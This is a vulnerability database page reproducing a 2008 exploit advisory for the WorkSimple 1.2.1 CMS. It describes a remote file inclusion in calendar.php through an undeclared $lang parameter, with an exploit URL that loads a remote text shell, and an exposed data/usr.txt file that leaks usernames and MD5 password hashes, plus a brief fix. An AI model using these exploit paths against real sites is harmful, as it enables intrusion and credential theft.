Lucene search
+L

WorkSimple 1.2.1 - Remote File Inclusion / Sensitive Data Disclosure

🗓️ 15 Dec 2008 00:00:00Reported by OsirysType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

WorkSimple 1.2.1 - Remote File Inclusion / Sensitive Data Disclosur

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-5764
15 Dec 200800:00
circl
circl
Circl
CVE-2008-5765
15 Dec 200800:00
circl
cve
CVE
CVE-2008-5764
30 Dec 200820:00
cve
cve
CVE
CVE-2008-5765
30 Dec 200820:00
cve
cvelist
Cvelist
CVE-2008-5764
30 Dec 200820:00
cvelist
cvelist
Cvelist
CVE-2008-5765
30 Dec 200820:00
cvelist
euvd
EUVD
EUVD-2008-5735
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-5764
30 Dec 200820:30
nvd
nvd
NVD
CVE-2008-5765
30 Dec 200820:30
nvd
prion
Prion
Remote file inclusion
30 Dec 200820:30
prion
Rows per page
[START]

#########################################################################################
[0x01] Informations:

Script         : WorkSimple 1.2.1
Download       : http://www.hotscripts.com/jump.php?listing_id=85112&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay


#########################################################################################
[0x02] Bug:[Remote File Inclusion]
######

Bugged file is: /[path]/calendar.php

[CODE]
<?PHP require 'data/conf.php'; //Include the global config ?>
	<?php include("$lang") ?>
[/CODE]

$lang variable is not declared, I thought it was declared on conf.php, but it's not.
So we can set the $lang value directly from GET.

FIX : Just declare $lang, for example in /[path]/data/conf.php


[!] EXPLOIT: /[path]/calendar.php?lang=[remote_txt_shell]

########################################################################################
[0x03] Bug:[Sensitive Data Disclosure]
######

In this cms, when an user register himself, the cms puts informations like username and
password on a .txt file. So, just going on it, we can get sensitive data like username
and passoword. username:md5_hash


[!] EXPLOIT: /[path]/data/usr.txt

#########################################################################################

[/END]

# milw0rm.com [2008-12-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation